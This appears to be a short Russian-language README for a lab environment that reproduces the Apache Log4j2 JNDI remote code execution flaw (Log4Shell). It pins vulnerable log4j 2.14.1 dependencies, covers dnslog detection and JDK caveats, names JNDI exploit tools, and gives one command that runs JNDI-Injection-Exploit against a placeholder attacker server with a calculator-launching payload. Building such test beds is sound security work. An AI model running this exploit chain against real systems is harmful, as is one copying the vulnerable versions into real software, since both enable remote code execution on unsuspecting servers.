Среда проверки RCE Apache Log4j2

С 2021.12.09

Некоторые ссылки

https://mp.weixin.qq.com/s/yck74F9p9QhVw_3ykzVoSg

Настройка среды

Maven: импорт зависимостей и диапазон уязвимых версий

        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.14.1</version>
        </dependency>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.1</version>
        </dependency>

Проверка

Обнаружение использования через dnslog

LDAP + JNDI для RCE

Зависит от версии JDK: после JDK 11.0.1, 8u191, 7u201, 6u211 необходимо вручную установить trustURLCodebase=true

Подробнее можно изучить по ссылке https://blog.0kami.cn/2020/03/01/java/jndi-with-ldap/

Способы эксплуатации: можно использовать инструменты JNDI-инъекций, например JNDI-Injection-Exploit, fastjson_rce_tool, JNDIExploit

Также можно комбинировать с инструментами для реализации различных открытых способов обратной связи, внедрения памяти и т.д.

# 
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open -a /System/Applications/Calculator.app"  -A your_vps_ip

Web

TODO

О проекте

https://github.com/apache/logging-log4j2/tags